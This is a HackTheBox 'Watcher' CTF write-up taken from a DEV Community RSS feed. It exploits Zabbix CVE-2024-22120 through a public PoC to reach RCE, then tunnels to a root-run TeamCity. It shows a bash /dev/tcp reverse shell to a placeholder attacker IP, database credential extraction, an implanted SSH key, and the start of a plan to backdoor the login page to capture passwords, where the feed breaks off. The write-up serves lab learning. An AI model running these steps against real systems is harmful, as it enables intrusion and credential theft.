<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>HackTheBox: Watcher Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 04 Jul 2026 13:55:25 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-watcher-writeup-57lh</link>
      <guid>https://dev.to/exploitnotes/hackthebox-watcher-writeup-57lh</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Watcher is a Linux box built around a self-hosted Zabbix monitoring stack.&lt;br&gt;
The front door isn't a permissions misconfig at all - it's a real Zabbix CVE&lt;br&gt;
(&lt;strong&gt;CVE-2024-22120&lt;/strong&gt;), a time-based blind SQL injection in the audit log's&lt;br&gt;
&lt;code&gt;clientip&lt;/code&gt; field. Even the read-only &lt;strong&gt;guest&lt;/strong&gt; account can trigger it, because&lt;br&gt;
all it takes is running one of Zabbix's built-in diagnostic scripts (Ping)&lt;br&gt;
against a host you can already see. That injection lets you blind-extract&lt;br&gt;
Zabbix's internal session-signing key and then the &lt;strong&gt;Admin's session ID&lt;/strong&gt;,&lt;br&gt;
purely through response timing - no credentials needed at all - and from&lt;br&gt;
there the same bug chains straight into command execution as the &lt;code&gt;zabbix&lt;/code&gt;&lt;br&gt;
system user.&lt;/p&gt;

&lt;p&gt;Once inside, rather than trying to crack a bcrypt hash pulled from the&lt;br&gt;
database, this box teaches a "watch and wait" credential-harvesting trick:&lt;br&gt;
patch Zabbix's own login page to log every future login attempt in plaintext,&lt;br&gt;
then use the Audit Log to notice a service account (&lt;code&gt;Frank&lt;/code&gt;) auto-logging in&lt;br&gt;
once a minute. Wait one cycle, and Frank's real password lands in your&lt;br&gt;
capture file.&lt;/p&gt;

&lt;p&gt;Frank's password is reused on a &lt;strong&gt;TeamCity&lt;/strong&gt; instance bound only to&lt;br&gt;
&lt;code&gt;localhost:8111&lt;/code&gt;, reachable through an SSH tunnel. TeamCity's build agent&lt;br&gt;
"Open Terminal" feature runs as &lt;strong&gt;root&lt;/strong&gt; on the host it's installed on —&lt;br&gt;
logging in and opening that terminal is an instant root shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key vulnerabilities:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2024-22120&lt;/strong&gt; — unauthenticated (guest-level) time-based blind SQLi in Zabbix's audit log &lt;code&gt;clientip&lt;/code&gt; field → admin session theft → RCE as &lt;code&gt;zabbix&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;World-writable/editable Zabbix frontend PHP → trivial to plant a credential-logging backdoor&lt;/li&gt;
&lt;li&gt;Password reuse between Zabbix and TeamCity&lt;/li&gt;
&lt;li&gt;TeamCity build agent terminal running as root → instant privesc&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Standard nmap sweep:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;span class="go"&gt;
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: "Did not follow redirect to http://watcher.vl/"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just SSH and a web server externally. Port 80 redirects to &lt;code&gt;watcher.vl&lt;/code&gt;, so&lt;br&gt;
that's added to &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since there's clearly vhost routing going on, a quick subdomain fuzz turns up&lt;br&gt;
a second site:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.watcher.vl"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;

zabbix &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;watcher.vl&lt;/code&gt; itself is just a static "uptime monitoring company" landing&lt;br&gt;
page — nothing to exploit there. &lt;code&gt;zabbix.watcher.vl&lt;/code&gt; is where the real target&lt;br&gt;
lives: a Zabbix login portal.&lt;/p&gt;


&lt;h2&gt;
  
  
  Foothold: CVE-2024-22120 (Blind SQLi → Session Theft → RCE)
&lt;/h2&gt;

&lt;p&gt;The login page has &lt;strong&gt;"sign in as guest"&lt;/strong&gt; enabled, which drops you into a&lt;br&gt;
read-only dashboard. The footer discloses the exact Zabbix version, so the&lt;br&gt;
next step is checking that version against known CVEs. A few options turn&lt;br&gt;
up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2024-42327&lt;/strong&gt; — SQLi that leaks an API token, but only works for accounts that actually get an API token (guest doesn't)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2024-22116&lt;/strong&gt; — RCE, but requires an authenticated administrator&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2024-22120&lt;/strong&gt; — a &lt;strong&gt;time-based blind SQL injection in the audit log&lt;/strong&gt;. When Zabbix executes a script against a host, it logs the action to the Audit Log, and the &lt;code&gt;clientip&lt;/code&gt; field in that log entry isn't sanitized. That's injectable — and critically, it's triggered just by running a script, something even guest can do.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Setting up the injection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Under &lt;strong&gt;Monitoring → Hosts&lt;/strong&gt; there's one host in scope for guest. Clicking it&lt;br&gt;
pops a menu with a &lt;strong&gt;"Ping"&lt;/strong&gt; option — no need to touch the host's&lt;br&gt;
configuration at all, just click the host and select the script:&lt;/p&gt;

&lt;p&gt;That single action (running Ping against the host) is what generates the&lt;br&gt;
vulnerable audit log entry that the exploit abuses.&lt;/p&gt;

&lt;p&gt;To actually pull data out via the blind SQLi, the exploit script needs three&lt;br&gt;
things, all easy to grab from the browser session:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The guest session ID — pulled straight out of the &lt;code&gt;zbx_session&lt;/code&gt; cookie (it's just base64):
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;cookie&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;value&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;base&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-d&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"sessionid"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;guest_sessionid&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;A valid &lt;code&gt;scriptid&lt;/code&gt; guest is actually allowed to run (found by checking the script-menu response in the browser's dev tools/proxy — guest here only has access to script IDs 1 and 2)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;hostid&lt;/code&gt; of the visible host (grabbed from the constantly-firing refresh requests on the Hosts page)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Weaponizing it:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Rather than writing the SQLi by hand, I grabbed a public PoC for this exact&lt;br&gt;
CVE:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/W01fh4cker/CVE-2024-22120-RCE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This script handles the whole chain in one shot — it sends crafted trapper&lt;br&gt;
protocol packets to port 10051, times the responses to blind-extract Zabbix's&lt;br&gt;
internal session-signing key and then the &lt;strong&gt;Admin's live session ID&lt;/strong&gt;&lt;br&gt;
character by character, and finally uses that recovered admin session to&lt;br&gt;
authorize a script execution containing an arbitrary OS command. Running it&lt;br&gt;
with the guest session ID and the hostid found earlier drops into a&lt;br&gt;
pseudo-shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="n"&gt;CVE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;22120&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;RCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;watcher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vl&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;sid&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;guest_sessionid&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;hostid&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;hostid&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;zabbix_cmd&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's slow (blind SQLi always is), but it lands code execution as &lt;code&gt;zabbix&lt;/code&gt;&lt;br&gt;
without ever needing a real password.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Getting a proper shell:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Feeding the tool a normal foreground reverse shell one-liner caused it to&lt;br&gt;
just hang — the exploit script waits for the command to return before it'll&lt;br&gt;
accept another one, and a reverse shell never returns. Backgrounding it with&lt;br&gt;
a trailing &lt;code&gt;&amp;amp;&lt;/code&gt; fixed that, letting the payload fire off and the listener&lt;br&gt;
catch the connection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;zabbix_cmd]&amp;gt;&amp;gt;: bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/443 0&amp;gt;&amp;amp;1'&lt;/span&gt; &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 443
zabbix@watcher:/&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shell as &lt;code&gt;zabbix&lt;/code&gt;, no valid credentials used anywhere in the process.&lt;/p&gt;




&lt;h2&gt;
  
  
  Post-Exploitation &amp;amp; Credential Harvesting
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Finding zabbix-owned paths &amp;amp; other users:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-user&lt;/span&gt; zabbix 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-Ev&lt;/span&gt; &lt;span class="s1"&gt;'^/proc'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirms write access to the frontend PHP tree (important later). Only one&lt;br&gt;
real login user exists on the box besides &lt;code&gt;zabbix&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pulling DB creds from the Zabbix config and dumping the DB:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Rather than guessing the path, a quick search for Zabbix's config files&lt;br&gt;
turns up the frontend's DB connection file directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"zabbix.conf.php"&lt;/span&gt; 2&amp;gt;/dev/null
/usr/share/zabbix/conf/zabbix.conf.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="nv"&gt;$DB&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'USER'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'zabbix'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$DB&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;ZABBIX_DB_PASSWORD&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;mysql&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="n"&gt;localhost&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="n"&gt;zabbix&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ZABBIX_DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;zabbix&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------+----------+-------------------------------+--------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;userid&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;roleid&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------+----------+-------------------------------+--------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;Admin&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;E9fS&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;guest&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;89&lt;/span&gt;&lt;span class="n"&gt;ot&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Frank&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;WT5&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;--------+----------+-------------------------------+--------+&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hashes are bcrypt and don't crack against rockyou — not worth burning&lt;br&gt;
time on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discovering TeamCity:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
LISTEN  0.0.0.0:10050    &lt;span class="o"&gt;(&lt;/span&gt;zabbix_agentd&lt;span class="o"&gt;)&lt;/span&gt;
LISTEN  0.0.0.0:10051    &lt;span class="o"&gt;(&lt;/span&gt;zabbix trapper&lt;span class="o"&gt;)&lt;/span&gt;
LISTEN  127.0.0.1:8111
LISTEN  127.0.0.1:3306   &lt;span class="o"&gt;(&lt;/span&gt;MySQL&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is also where 10050/10051 actually show up — from the outside they&lt;br&gt;
weren't exposed, but locally the agent/trapper services are bound wide open.&lt;br&gt;
Port &lt;code&gt;8111&lt;/code&gt; stands out as unfamiliar, so a quick curl confirms what's behind&lt;br&gt;
it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;curl -v localhost:8111
&amp;lt; &lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt;
&lt;span class="s"&gt;&amp;lt; WWW-Authenticate: Basic realm="TeamCity"&lt;/span&gt;
&lt;span class="s"&gt;&amp;lt; WWW-Authenticate: Bearer realm="TeamCity"&lt;/span&gt;
&lt;span class="s"&gt;Authentication required&lt;/span&gt;
&lt;span class="s"&gt;To login manually go to "/login.html" page&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;TeamCity, bound to localhost only. A quick check of running processes&lt;br&gt;
confirms it (and its build agent) run as &lt;strong&gt;root&lt;/strong&gt;. To actually browse it&lt;br&gt;
from my own box, I generated a keypair and dropped the public half into&lt;br&gt;
&lt;code&gt;zabbix&lt;/code&gt;'s &lt;code&gt;authorized_keys&lt;/code&gt; (the account's shell is &lt;code&gt;/nologin&lt;/code&gt;, so no&lt;br&gt;
interactive login, but port forwarding still works fine):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; /var/lib/zabbix/.ssh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ssh-ed25519 AAAA...&amp;lt;snipped&amp;gt;... nobody@nothing"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /var/lib/zabbix/.ssh/authorized_keys
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 /var/lib/zabbix/.ssh
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 /var/lib/zabbix/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;private_key&amp;gt; zabbix@watcher.vl &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; 8111:localhost:8111
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now &lt;code&gt;http://localhost:8111&lt;/code&gt; loads the TeamCity login page from the attacker&lt;br&gt;
box — but there are no valid creds for it yet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Getting Admin access back in Zabbix:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Since the bcrypt hashes won't crack, the simplest path back to Zabbix as&lt;br&gt;
&lt;strong&gt;Admin&lt;/strong&gt; is just resetting the password directly through the DB access&lt;br&gt;
already in hand, following Zabbix's own documented password-reset procedure&lt;br&gt;
(&lt;a href="https://www.zabbix.com/documentation/current/en/manual/web_interface/password_reset" rel="noopener noreferrer"&gt;Zabbix Docs: Password reset&lt;/a&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;UPDATE&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;bcrypt_hash_for_known_password&amp;gt;'&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'Admin'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Logging in as &lt;code&gt;Admin&lt;/code&gt; with that known password now works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backdooring the login page:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With Admin access, the &lt;strong&gt;Audit Log&lt;/strong&gt; is worth checking. Filtering on user&lt;br&gt;
&lt;code&gt;Frank&lt;/code&gt; shows Frank authenticating from &lt;code&gt;127.0.0.1&lt;/code&gt; &lt;strong&gt;once a minute, on the&lt;br&gt;
dot&lt;/strong&gt; — clearly an automated health-check/keepalive script, not a human.&lt;/p&gt;

&lt;p&gt;Since &lt;code&gt;zabbix&lt;/code&gt; owns the frontend files, &lt;code&gt;index.php&lt;/code&gt;'s login handler can be&lt;br&gt;
patched in place to log every submitted username/password pair before&lt;br&gt;
continuing the normal login flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
